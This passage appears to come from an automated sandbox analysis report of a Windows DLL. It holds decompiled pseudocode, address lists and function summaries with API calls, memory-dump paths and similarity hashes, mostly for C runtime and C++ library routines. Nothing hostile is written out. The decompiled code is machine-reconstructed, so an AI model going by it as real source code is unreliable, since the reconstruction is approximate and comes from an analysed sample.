									__eflags = _t100 - _t58;
									 *_t90 = _t110;
									_t110 =  *_t90;
								} while (_t100 <= _t58);
								goto L34;
							}
							_t58 = _t81 - 1;
							__eflags = _t58;
							if(_t58 < 0) {
								L28:
								__eflags = _t81 - 0x10;
								if(_t81 < 0x10) {
									_t81 = _t81 + 1;
									__eflags = _t81;
									 *0x6e1441f8 = _t81;
								}
								_t58 = _t81 - 1;
								goto L32;
							} else {
								goto L25;
							}
							while(1) {
								L25:
								__eflags =  *((intOrPtr*)(0x6e144200 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x6e144200 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 - 1;
								__eflags = _t58;
								if(_t58 >= 0) {
									continue;
								}
								break;
							}
							__eflags = _t58;
							if(__eflags >= 0) {
								if(__eflags == 0) {
									goto L34;
								}
								goto L32;
							}
							goto L28;
						}
						_t75 =  *((intOrPtr*)(_t108 - 8));
						__eflags = _t75 - _v8;
						if(_t75 < _v8) {
							goto L20;
						}
						__eflags = _t75 - _t108;
						if(_t75 >= _t108) {
							goto L20;
						}
						goto L15;
					}
					L5:
					_t63 = 1;
					goto L60;
				} else {
					goto L3;
				}
			}

0x6e14248f
0x6e142492
0x6e142498
0x6e1424b6
0x00000000
0x6e1424b6
0x6e1424a0
0x6e1424a9
0x6e1424af
0x6e1424be
0x6e1424c1
0x6e1424c4
0x6e1424ce
0x6e1424ce
0x6e1424d0
0x6e1424d3
0x6e1424d5
0x6e1424d5
0x6e1424d7
0x6e1424da
0x00000000
0x00000000
0x6e1424dc
0x6e1424de
0x6e142544
0x6e142544
0x6e1426a2
0x00000000
0x6e1426a2
0x6e1424e0
0x6e1424e0
0x6e1424e4
0x6e1424e6
0x6e1424e6
0x6e1424e6
0x6e1424e6
0x6e1424e9
0x6e1424ea
0x6e1424ed
0x6e1424ed
0x6e1424f1
0x6e1424f5
0x6e142503
0x6e142503
0x6e14250b
0x6e142511
0x6e142513
0x6e142515
0x6e142525
0x6e142532
0x6e142536
0x6e14253b
0x6e14253d
0x6e1425bb
0x6e1425bb
0x6e14253f
0x6e14253f
0x6e14253f
0x6e1425bd
0x6e1425bf
0x6e1426a0
0x6e1426a0
0x00000000
0x6e1425c5
0x6e1425c5
0x6e1425cc
0x00000000
0x00000000
0x6e1425d2
0x6e1425d6
0x6e142632
0x6e142634
0x6e14263c
0x6e14263e
0x6e142640
0x00000000
0x00000000
0x6e142642
0x6e142648
0x6e14264a
0x6e14264c
0x6e142661
0x6e142661
0x6e142663
0x6e142692
0x6e142699
0x00000000
0x6e142699
0x6e142667
0x6e142668
0x6e14266a
0x6e14266c
0x6e14266c
0x6e14266e
0x6e142670
0x6e142672
0x6e142686
0x6e142686
0x6e142689
0x6e14268b
0x6e14268b
0x6e14268c
0x6e14268c
0x00000000
0x6e142674
0x6e142674
0x6e142674
0x6e14267d
0x6e14267e
0x6e142680
0x6e142682
0x6e142682
0x00000000
0x6e142674
0x6e142672
0x6e14264e
0x6e142655
0x6e142655
0x6e142657
0x00000000
0x00000000
0x6e142659
0x6e14265a
0x6e14265d
0x6e14265f
0x00000000
0x00000000
0x00000000
0x6e14265f
0x00000000
0x6e142655
0x6e1425d8
0x6e1425db
0x6e1425e0
0x00000000
0x00000000
0x6e1425e9
0x6e1425eb
0x6e1425f1
0x00000000
0x00000000
0x6e1425f7
0x6e1425fd
0x00000000
0x00000000
0x6e142603
0x6e142605
0x6e14260e
0x6e142612
0x00000000
0x00000000
0x6e142618
0x6e14261b
0x6e14261d
0x00000000
0x00000000
0x6e142624
0x6e142626
0x00000000
0x00000000
0x6e142628
0x6e14262c
0x00000000
0x00000000
0x00000000
0x6e14262c
0x00000000
0x00000000
0x00000000
0x6e142517
0x6e142517
0x6e142517
0x6e14251e
0x00000000
0x00000000
0x6e142520
0x6e142521
0x6e142523
0x00000000
0x00000000
0x00000000
0x6e142523
0x6e14254b
0x6e14254d
0x00000000
0x00000000
0x6e14255d
0x6e14255f
0x6e142561
0x00000000
0x00000000
0x6e142567
0x6e14256e
0x6e14259a
0x6e14259a
0x6e14259c
0x6e14259e
0x6e1425b2
0x6e1425b4
0x00000000
0x00000000
0x00000000
0x00000000
0x6e1425a0
0x6e1425a0
0x6e1425a0
0x6e1425a9
0x6e1425aa
0x6e1425ac
0x6e1425ae
0x6e1425ae
0x00000000
0x6e1425a0
0x6e142570
0x6e142573
0x6e142575
0x6e142587
0x6e142587
0x6e14258a
0x6e14258c
0x6e14258c
0x6e14258d
0x6e14258d
0x6e142593
0x00000000
0x00000000
0x00000000
0x00000000
0x6e142577
0x6e142577
0x6e142577
0x6e14257e
0x00000000
0x00000000
0x6e142580
0x6e142580
0x6e142581
0x00000000
0x00000000
0x00000000
0x6e142581
0x6e142583
0x6e142585
0x6e142598
0x00000000
0x00000000
0x00000000
0x6e142598
0x00000000
0x6e142585
0x6e1424f7
0x6e1424fa
0x6e1424fd
0x00000000
0x00000000
0x6e1424ff
0x6e142501
0x00000000
0x00000000
0x00000000
0x6e142501
0x6e1424c6
0x6e1424c8
0x00000000
0x00000000
0x00000000
0x00000000

APIs

NtQueryVirtualMemory.NTDLL(?,?,00000000,?,0000001C,00000000), ref: 6E142536

Memory Dump Source

Source File: 00000003.00000002.615703318.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000003.00000002.615660868.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.615746194.000000006E143000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.615798170.000000006E145000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.615855630.000000006E146000.00000002.00020000.sdmp Download File

Similarity

API ID: MemoryQueryVirtual
String ID:
API String ID: 2850889275-0
Opcode ID: 1c66212f9c0d1c253dd9b9497c0957b9ef56cd7da748c37b3236d79bf7b07f18
Instruction ID: fa7e86bbdac5c796a10962396a6768f658362cb968c2277f9c470a2ece7d2820
Opcode Fuzzy Hash: 1c66212f9c0d1c253dd9b9497c0957b9ef56cd7da748c37b3236d79bf7b07f18
Instruction Fuzzy Hash: 2961E3B0714606CFDB55CFA9D8A0B9973B5EB96314F358478D925CB384E730D8C2EA50

Uniqueness

Uniqueness Score: -1.00%

Function 6E18979C, Relevance: 19.6, APIs: 13, Instructions: 114COMMON

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 6E1897E0

Part of subcall function 6E18AF90: _free.LIBCMT ref: 6E18AFAD
Part of subcall function 6E18AF90: _free.LIBCMT ref: 6E18AFBF
Part of subcall function 6E18AF90: _free.LIBCMT ref: 6E18AFD1
Part of subcall function 6E18AF90: _free.LIBCMT ref: 6E18AFE3
Part of subcall function 6E18AF90: _free.LIBCMT ref: 6E18AFF5
Part of subcall function 6E18AF90: _free.LIBCMT ref: 6E18B007
Part of subcall function 6E18AF90: _free.LIBCMT ref: 6E18B019
Part of subcall function 6E18AF90: _free.LIBCMT ref: 6E18B02B
Part of subcall function 6E18AF90: _free.LIBCMT ref: 6E18B03D
Part of subcall function 6E18AF90: _free.LIBCMT ref: 6E18B04F
Part of subcall function 6E18AF90: _free.LIBCMT ref: 6E18B061
Part of subcall function 6E18AF90: _free.LIBCMT ref: 6E18B073
Part of subcall function 6E18AF90: _free.LIBCMT ref: 6E18B085

_free.LIBCMT ref: 6E1897D5

Part of subcall function 6E17FBB2: HeapFree.KERNEL32(00000000,00000000,?,6E18B6FD,6E1673C4,00000000,6E1673C4,00000000,?,6E18B9A1,6E1673C4,00000007,6E1673C4,?,6E189934,6E1673C4), ref: 6E17FBC8
Part of subcall function 6E17FBB2: GetLastError.KERNEL32(6E1673C4,?,6E18B6FD,6E1673C4,00000000,6E1673C4,00000000,?,6E18B9A1,6E1673C4,00000007,6E1673C4,?,6E189934,6E1673C4,6E1673C4), ref: 6E17FBDA

_free.LIBCMT ref: 6E1897F7
_free.LIBCMT ref: 6E18980C
_free.LIBCMT ref: 6E189817
_free.LIBCMT ref: 6E189839
_free.LIBCMT ref: 6E18984C
_free.LIBCMT ref: 6E18985A
_free.LIBCMT ref: 6E189865
_free.LIBCMT ref: 6E18989D
_free.LIBCMT ref: 6E1898A4
_free.LIBCMT ref: 6E1898C1
_free.LIBCMT ref: 6E1898D9

Memory Dump Source

Source File: 00000003.00000002.615925831.000000006E14E000.00000020.00020000.sdmp, Offset: 6E14E000, based on PE: false

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 99ce34c199e03c8f5add70bcb98adb8624b9ad864c4c3879cad017f0d02054bb
Instruction ID: c6efe81f9d31ea7138e8226f68869f66c377ca44dcb963e6a0478b89a77de90b
Opcode Fuzzy Hash: 99ce34c199e03c8f5add70bcb98adb8624b9ad864c4c3879cad017f0d02054bb
Instruction Fuzzy Hash: C4316D3260464A9FEB718EB8D860B9B77F8FF15714F308869E469D7150DB35A8C0AF20

Uniqueness

Uniqueness Score: -1.00%

Function 6E172171, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 82COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6E172178
std::_Lockit::_Lockit.LIBCPMT ref: 6E172182
int.LIBCPMTD ref: 6E172199

Part of subcall function 6E16B050: std::_Lockit::_Lockit.LIBCPMT ref: 6E16B066
Part of subcall function 6E16B050: std::_Lockit::~_Lockit.LIBCPMT ref: 6E16B090

codecvt.LIBCPMT ref: 6E1721BC
std::_Facet_Register.LIBCPMT ref: 6E1721D3
std::_Lockit::~_Lockit.LIBCPMT ref: 6E1721F3
std::bad_alloc::bad_alloc.LIBCMTD ref: 6E172203
__CxxThrowException@8.LIBVCRUNTIME ref: 6E172211
__EH_prolog3.LIBCMT ref: 6E17221E

Strings

H.%n, xrefs: 6E17218D

Memory Dump Source

Source File: 00000003.00000002.615925831.000000006E14E000.00000020.00020000.sdmp, Offset: 6E14E000, based on PE: false

Similarity

API ID: std::_$Lockit$H_prolog3Lockit::_Lockit::~_$Exception@8Facet_RegisterThrowcodecvtstd::bad_alloc::bad_alloc
String ID: H.%n
API String ID: 300551499-265181340
Opcode ID: 68e3b347737bdc9b1a8abd570481c0f5349869e2879050a4b6e3a97a1843aa43
Instruction ID: 40a6561e7f75c90b4423d08b13721dc6ecc9c8fbe75930dcbf29e075d100b1b5
Opcode Fuzzy Hash: 68e3b347737bdc9b1a8abd570481c0f5349869e2879050a4b6e3a97a1843aa43
Instruction Fuzzy Hash: A931B176A002199BCF11CFD4C814BEDB7B9BF48B18F204809E5156B390CB74EE86EB80

Uniqueness

Uniqueness Score: -1.00%

Function 6E169750, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6E16977A
int.LIBCPMTD ref: 6E169793

Part of subcall function 6E16B050: std::_Lockit::_Lockit.LIBCPMT ref: 6E16B066
Part of subcall function 6E16B050: std::_Lockit::~_Lockit.LIBCPMT ref: 6E16B090

ctype.LIBCPMTD ref: 6E1697CA
std::bad_alloc::bad_alloc.LIBCMTD ref: 6E1697DA
__CxxThrowException@8.LIBVCRUNTIME ref: 6E1697E8
std::_Lockit::~_Lockit.LIBCPMT ref: 6E169851

Strings

x-%n, xrefs: 6E16978E

Memory Dump Source

Source File: 00000003.00000002.615925831.000000006E14E000.00000020.00020000.sdmp, Offset: 6E14E000, based on PE: false

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Exception@8Throwctypestd::bad_alloc::bad_alloc
String ID: x-%n
API String ID: 1618461562-4255325796
Opcode ID: 6cd1cf6ff8831c1e4772894a1488b6d622bc725aa6bf8998222c83d29de1ff0c
Instruction ID: e6d5652f02d4bfd21c6c8527b330ed36e0109482a3f3e8a9f4dba81a0e108d23
Opcode Fuzzy Hash: 6cd1cf6ff8831c1e4772894a1488b6d622bc725aa6bf8998222c83d29de1ff0c
Instruction Fuzzy Hash: 6031E9B5D00209DFCB04CFD4D991AEEBBB9BF59714F204A19E411A7280DB346A94DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6E169870, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6E16989A
int.LIBCPMTD ref: 6E1698B3

Part of subcall function 6E16B050: std::_Lockit::_Lockit.LIBCPMT ref: 6E16B066
Part of subcall function 6E16B050: std::_Lockit::~_Lockit.LIBCPMT ref: 6E16B090

messages.LIBCPMTD ref: 6E1698EA
std::bad_alloc::bad_alloc.LIBCMTD ref: 6E1698FA
__CxxThrowException@8.LIBVCRUNTIME ref: 6E169908
std::_Lockit::~_Lockit.LIBCPMT ref: 6E169971

Strings

x,%n, xrefs: 6E1698AE

Memory Dump Source

Source File: 00000003.00000002.615925831.000000006E14E000.00000020.00020000.sdmp, Offset: 6E14E000, based on PE: false

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Exception@8Throwmessagesstd::bad_alloc::bad_alloc
String ID: x,%n
API String ID: 2603189070-4234245203
Opcode ID: f616f2e146390a82370c45e09c8bacb1cad0c4cb55ef5b93cfdc8eac90f8332a
Instruction ID: 5eeded23aabbd131b8d868d36e864d2877ea2670cc49f3ec820a012a9c5362a9
Opcode Fuzzy Hash: f616f2e146390a82370c45e09c8bacb1cad0c4cb55ef5b93cfdc8eac90f8332a
Instruction Fuzzy Hash: 45311BB5D04209DFCB04CFD4C991BEEB7B9FB49714F204A19E426A7380DB346A84DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6E169990, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6E1699BA
int.LIBCPMTD ref: 6E1699D3

Part of subcall function 6E16B050: std::_Lockit::_Lockit.LIBCPMT ref: 6E16B066
Part of subcall function 6E16B050: std::_Lockit::~_Lockit.LIBCPMT ref: 6E16B090

numpunct.LIBCPMTD ref: 6E169A0A
std::bad_alloc::bad_alloc.LIBCMTD ref: 6E169A1A
__CxxThrowException@8.LIBVCRUNTIME ref: 6E169A28
std::_Lockit::~_Lockit.LIBCPMT ref: 6E169A91

Strings

|,%n, xrefs: 6E1699CE

Memory Dump Source

Source File: 00000003.00000002.615925831.000000006E14E000.00000020.00020000.sdmp, Offset: 6E14E000, based on PE: false

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Exception@8Thrownumpunctstd::bad_alloc::bad_alloc
String ID: |,%n
API String ID: 2683378708-1929634564
Opcode ID: 67de8c884186b56a48ec31904be97720cec673a40b4680cfa2906c7b03328ceb
Instruction ID: 858fc80d892deeabac2f55d8288ee82b91cec152738a2b9157a57261efee06a3
Opcode Fuzzy Hash: 67de8c884186b56a48ec31904be97720cec673a40b4680cfa2906c7b03328ceb
Instruction Fuzzy Hash: D3311BB5D00209DFCB04CFE4D991BEEB7B9FB58314F204A59E425A7380DB346A84DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6E18538F, Relevance: 13.8, APIs: 9, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.615925831.000000006E14E000.00000020.00020000.sdmp, Offset: 6E14E000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3643c65211551391011e9ef91e56fd3d60fd380fbbe6c4024e88f639c2a963af
Instruction ID: cc6795868f1c87a4654a68195b4f5dfa5422f25f866f0cd54d0446b409484fde
Opcode Fuzzy Hash: 3643c65211551391011e9ef91e56fd3d60fd380fbbe6c4024e88f639c2a963af
Instruction Fuzzy Hash: 5DC19C70A04249AFDF51CFE8C850BEEBBB5FF1A314F244189E862A7295C7309985DF61

Uniqueness

Uniqueness Score: -1.00%

Function 6E16E050, Relevance: 10.9, APIs: 5, Strings: 1, Instructions: 400COMMON

Download Yara Rule

APIs

std::ios_base::getloc.LIBCPMTD ref: 6E16E187
ctype.LIBCPMTD ref: 6E16E1F3
std::ios_base::getloc.LIBCPMTD ref: 6E16E202
_Mpunct.LIBCPMTD ref: 6E16E245
std::ios_base::width.LIBCPMTD ref: 6E16E4E1

Strings

@, xrefs: 6E16E376

Memory Dump Source

Source File: 00000003.00000002.615925831.000000006E14E000.00000020.00020000.sdmp, Offset: 6E14E000, based on PE: false

Similarity

API ID: std::ios_base::getloc$Mpunctctypestd::ios_base::width
String ID: @
API String ID: 2441703863-2766056989
Opcode ID: 8b5d382b6938bf7665194894305ae5246d4bb4722f46807b4e2b0cd848a667e0
Instruction ID: 52d41fdb43b31c79e5833aa2a34c0a0493ba18438fdaa052ac22f8f0a8bc1eb7
Opcode Fuzzy Hash: 8b5d382b6938bf7665194894305ae5246d4bb4722f46807b4e2b0cd848a667e0
Instruction Fuzzy Hash: DF024CB1A002489FCB14CFD8C990BEEBBB9BF49304F148659E819AB255D734AE91DF50

Uniqueness

Uniqueness Score: -1.00%

Function 6E16ECE0, Relevance: 10.9, APIs: 5, Strings: 1, Instructions: 352COMMON

Download Yara Rule

APIs

std::ios_base::getloc.LIBCPMTD ref: 6E16ED9B
ctype.LIBCPMTD ref: 6E16EE07
std::ios_base::getloc.LIBCPMTD ref: 6E16EE16
_Mpunct.LIBCPMTD ref: 6E16EE4D
std::ios_base::width.LIBCPMTD ref: 6E16F0B3

Strings

@, xrefs: 6E16EF48

Memory Dump Source

Source File: 00000003.00000002.615925831.000000006E14E000.00000020.00020000.sdmp, Offset: 6E14E000, based on PE: false

Similarity

API ID: std::ios_base::getloc$Mpunctctypestd::ios_base::width
String ID: @
API String ID: 2441703863-2766056989
Opcode ID: 3ad1ba0d7dfe97d6990b63d8239b823e0ffb701cd7d7b52249dbe0477500e157
Instruction ID: 458b06f60d25c1cc343979538cb146d8d0a9d2e2a46b48a1be8c6c44664d3be7
Opcode Fuzzy Hash: 3ad1ba0d7dfe97d6990b63d8239b823e0ffb701cd7d7b52249dbe0477500e157
Instruction Fuzzy Hash: DEE13EB19002489FCB14CFD4C9A0BEEBBB9BF48304F148659F519AB295D734AE91DF90

Uniqueness

Uniqueness Score: -1.00%

Function 6E1841B8, Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,?,?,?,?,?,?,?,?,6E18492D,?,?,?,?,?,?), ref: 6E1841FA
__fassign.LIBCMT ref: 6E184275
__fassign.LIBCMT ref: 6E184290
WideCharToMultiByte.KERNEL32(?,00000000,?,00000001,?,00000005,00000000,00000000), ref: 6E1842B6
WriteFile.KERNEL32(?,?,00000000,6E18492D,00000000,?,?,?,?,?,?,?,?,?,6E18492D,?), ref: 6E1842D5
WriteFile.KERNEL32(?,?,00000001,6E18492D,00000000,?,?,?,?,?,?,?,?,?,6E18492D,?), ref: 6E18430E

Memory Dump Source

Source File: 00000003.00000002.615925831.000000006E14E000.00000020.00020000.sdmp, Offset: 6E14E000, based on PE: false

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: f9d56f9bb1e3ee8f25e26397084468effc785107ad5dcd51124f7b290a90242f
Instruction ID: 02389d21543319f59381ff3cf3bc0672cb653f08e54cc5b1ff1e5389b76050bc
Opcode Fuzzy Hash: f9d56f9bb1e3ee8f25e26397084468effc785107ad5dcd51124f7b290a90242f
Instruction Fuzzy Hash: 6B51B171A002499FDB04CFE8D895ADEBBF9FF19300F15411AE965E7241E7309985DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6E18B988, Relevance: 10.6, APIs: 7, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 6E18B6CF: _free.LIBCMT ref: 6E18B6F8

_free.LIBCMT ref: 6E18B9D6

Part of subcall function 6E17FBB2: HeapFree.KERNEL32(00000000,00000000,?,6E18B6FD,6E1673C4,00000000,6E1673C4,00000000,?,6E18B9A1,6E1673C4,00000007,6E1673C4,?,6E189934,6E1673C4), ref: 6E17FBC8
Part of subcall function 6E17FBB2: GetLastError.KERNEL32(6E1673C4,?,6E18B6FD,6E1673C4,00000000,6E1673C4,00000000,?,6E18B9A1,6E1673C4,00000007,6E1673C4,?,6E189934,6E1673C4,6E1673C4), ref: 6E17FBDA

_free.LIBCMT ref: 6E18B9E1
_free.LIBCMT ref: 6E18B9EC
_free.LIBCMT ref: 6E18BA40
_free.LIBCMT ref: 6E18BA4B
_free.LIBCMT ref: 6E18BA56
_free.LIBCMT ref: 6E18BA61

Memory Dump Source

Source File: 00000003.00000002.615925831.000000006E14E000.00000020.00020000.sdmp, Offset: 6E14E000, based on PE: false

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 8150f2849fa73c3c1386e614bce17a8c7f263fcc3cf36198d2fcf3c8acff8a63
Instruction ID: c135edd632b024a76ffe92aafae0afb272024313a4f33df47e1e8e741f336169
Opcode Fuzzy Hash: 8150f2849fa73c3c1386e614bce17a8c7f263fcc3cf36198d2fcf3c8acff8a63
Instruction Fuzzy Hash: C3115176941F08AAD931EFF0CC15FCB7B9C6F04704F508C15E6B966064DB65B5C86B50

Uniqueness

Uniqueness Score: -1.00%

Function 6E185D99, Relevance: 9.2, APIs: 6, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,6E179ACC,6E179ACC,?,?,?,6E185FEA,00000001,00000001,82E85006), ref: 6E185DF3
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,6E185FEA,00000001,00000001,82E85006,?,?,?), ref: 6E185E79
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,82E85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 6E185F73
__freea.LIBCMT ref: 6E185F80

Part of subcall function 6E17FBEC: RtlAllocateHeap.NTDLL(00000000,0000060B), ref: 6E17FC1E

__freea.LIBCMT ref: 6E185F89
__freea.LIBCMT ref: 6E185FAE

Memory Dump Source

Source File: 00000003.00000002.615925831.000000006E14E000.00000020.00020000.sdmp, Offset: 6E14E000, based on PE: false

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 4294fce00962d8d98058716bb4b888cfcb60270366725b048875ad038aab2af0
Instruction ID: 160bbb3d2a14ea5b5178b8bfe937c5bee79f126a9fa75fb8a9a67c2bd5d043f8
Opcode Fuzzy Hash: 4294fce00962d8d98058716bb4b888cfcb60270366725b048875ad038aab2af0
Instruction Fuzzy Hash: 3451C172610216AFEB158EE4CC54EEB7BAAEF64654F254628FC16D7180EB34DCC0EA50

Uniqueness

Uniqueness Score: -1.00%

Function 6E1708B0, Relevance: 9.2, APIs: 6, Instructions: 186COMMON

Download Yara Rule

APIs

std::ios_base::getloc.LIBCPMTD ref: 6E17092C
_Mpunct.LIBCPMTD ref: 6E170980
shared_ptr.LIBCMTD ref: 6E17098F

Memory Dump Source

Source File: 00000003.00000002.615925831.000000006E14E000.00000020.00020000.sdmp, Offset: 6E14E000, based on PE: false

Similarity

API ID: Mpunctshared_ptrstd::ios_base::getloc
String ID:
API String ID: 2231573426-0
Opcode ID: 046e5c60fe7f637f81251336d7102c998fb79b4ec53ba6d65dcfa01cb1aad4d7
Instruction ID: c6263bb2ab569137f55dfeea4fab37223f205ee6b471ebaba1812ac0fd7b72ef
Opcode Fuzzy Hash: 046e5c60fe7f637f81251336d7102c998fb79b4ec53ba6d65dcfa01cb1aad4d7
Instruction Fuzzy Hash: 127110B19042189FCF14DFE8C890ADEB7B9BF48754F148519F419AB290EB30AD95DF50

Uniqueness

Uniqueness Score: -1.00%

Function 6E17FA06, Relevance: 9.0, APIs: 6, Instructions: 50COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(0000001C,00000000,6E179156,00000000,00000000,?,6E1827FC,00000000,00000000,?,?,0000001C), ref: 6E17FA0A
_free.LIBCMT ref: 6E17FA3D
_free.LIBCMT ref: 6E17FA65
SetLastError.KERNEL32(00000000,00000000,?,?,0000001C), ref: 6E17FA72
SetLastError.KERNEL32(00000000,00000000,?,?,0000001C), ref: 6E17FA7E
_abort.LIBCMT ref: 6E17FA84

Memory Dump Source

Source File: 00000003.00000002.615925831.000000006E14E000.00000020.00020000.sdmp, Offset: 6E14E000, based on PE: false

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 6a01de15c88e4d66bbb529f3c1ef4dcf6d0239c9615836c1c1ae09ab68c65f0c
Instruction ID: 807851e10e1406ef92ad3c221073a7bd0a6849803593f66cd19ed2807fba2db0
Opcode Fuzzy Hash: 6a01de15c88e4d66bbb529f3c1ef4dcf6d0239c9615836c1c1ae09ab68c65f0c
Instruction Fuzzy Hash: 92F0F9366449056ACE22D6F45C18E9F2A6DBFDAF26F394414F874D3284EF2184C1B120

Uniqueness

Uniqueness Score: -1.00%

Function 6E1828B1, Relevance: 7.7, APIs: 5, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.615925831.000000006E14E000.00000020.00020000.sdmp, Offset: 6E14E000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01895a72037837c0b3c02e9e60a6dea1980760705a9e0260ff58101fe5b5136f
Instruction ID: 5e8eebb6fa271133fe08e251d4118683daed50bb6baedcdf9079ca5c26cac879
Opcode Fuzzy Hash: 01895a72037837c0b3c02e9e60a6dea1980760705a9e0260ff58101fe5b5136f
Instruction Fuzzy Hash: E671A131A012179FDB238FD5C884AAFBB79FF56350F254629E82167284D77188C1EFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6E17FA8A, Relevance: 7.6, APIs: 5, Instructions: 53COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,0000060B,?,6E17BB83,6E17FC2F,?,?,6E173D1F,0000060B,?,6E1673C4,0000060B), ref: 6E17FA8F
_free.LIBCMT ref: 6E17FAC4
_free.LIBCMT ref: 6E17FAEB
SetLastError.KERNEL32(00000000,6E1673C4,0000060B), ref: 6E17FAF8
SetLastError.KERNEL32(00000000,6E1673C4,0000060B), ref: 6E17FB01

Memory Dump Source

Source File: 00000003.00000002.615925831.000000006E14E000.00000020.00020000.sdmp, Offset: 6E14E000, based on PE: false

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 2d99cc1d23b8c8746621a0ff6944b80fddb7ebe6fc1a5cccb6c11bf2b8565146
Instruction ID: aea4cab61bdb88f203611842cd7e5002bca12314bdf5332a0d70acee91f79b06
Opcode Fuzzy Hash: 2d99cc1d23b8c8746621a0ff6944b80fddb7ebe6fc1a5cccb6c11bf2b8565146
Instruction Fuzzy Hash: 7F01FE362546017B8F2296F54CA4E5F297DBFCBB6573A4415F474D3284EF21C8C5B120

Uniqueness

Uniqueness Score: -1.00%

Function 6E18B44A, Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6E18B462

Part of subcall function 6E17FBB2: HeapFree.KERNEL32(00000000,00000000,?,6E18B6FD,6E1673C4,00000000,6E1673C4,00000000,?,6E18B9A1,6E1673C4,00000007,6E1673C4,?,6E189934,6E1673C4), ref: 6E17FBC8
Part of subcall function 6E17FBB2: GetLastError.KERNEL32(6E1673C4,?,6E18B6FD,6E1673C4,00000000,6E1673C4,00000000,?,6E18B9A1,6E1673C4,00000007,6E1673C4,?,6E189934,6E1673C4,6E1673C4), ref: 6E17FBDA

_free.LIBCMT ref: 6E18B474
_free.LIBCMT ref: 6E18B486
_free.LIBCMT ref: 6E18B498
_free.LIBCMT ref: 6E18B4AA

Memory Dump Source

Source File: 00000003.00000002.615925831.000000006E14E000.00000020.00020000.sdmp, Offset: 6E14E000, based on PE: false

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: c9d15317bce6f24abb76cc14d98a552cfc81066830e7ff1b0523f9bb6e530bb4
Instruction ID: 72b38dbe5408c16451f35527c4780506c2f125930ce68fcadc4ca979dd047bd4
Opcode Fuzzy Hash: c9d15317bce6f24abb76cc14d98a552cfc81066830e7ff1b0523f9bb6e530bb4
Instruction Fuzzy Hash: 92F04F324006489B8E70DAD8E4D2C4737EDBF15614370DC05E825D7A08CB30F8C0AAA4

Uniqueness

Uniqueness Score: -1.00%

Function 6E180880, Relevance: 6.3, APIs: 4, Instructions: 305COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 6E18090B
__alldvrm.LIBCMT ref: 6E180B0C
__alldvrm.LIBCMT ref: 6E180B2E

Memory Dump Source

Source File: 00000003.00000002.615925831.000000006E14E000.00000020.00020000.sdmp, Offset: 6E14E000, based on PE: false

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 214f91ae76f83a61aecee1184dec67f495cba0edced9dd3da279a05cfa50034a
Instruction ID: 07d13a68f70784b6f8ac8faf6e13750c3b429cf8736c965d24a40ee8e906c017
Opcode Fuzzy Hash: 214f91ae76f83a61aecee1184dec67f495cba0edced9dd3da279a05cfa50034a
Instruction Fuzzy Hash: E9A16875E1638A9FF711CE98C8A07AFBBE4EF66304F244569D4959B280E33489C1DF50

Uniqueness

Uniqueness Score: -1.00%

Function 6E185C7C, Relevance: 6.1, APIs: 4, Instructions: 110COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000004,00000000,0000007F,6E1AF9E8,00000000,00000000,8B56FF8B,6E18142E,?,00000004,00000001,6E1AF9E8,0000007F,?,8B56FF8B,00000001), ref: 6E185CC9
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 6E185D52
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 6E185D64
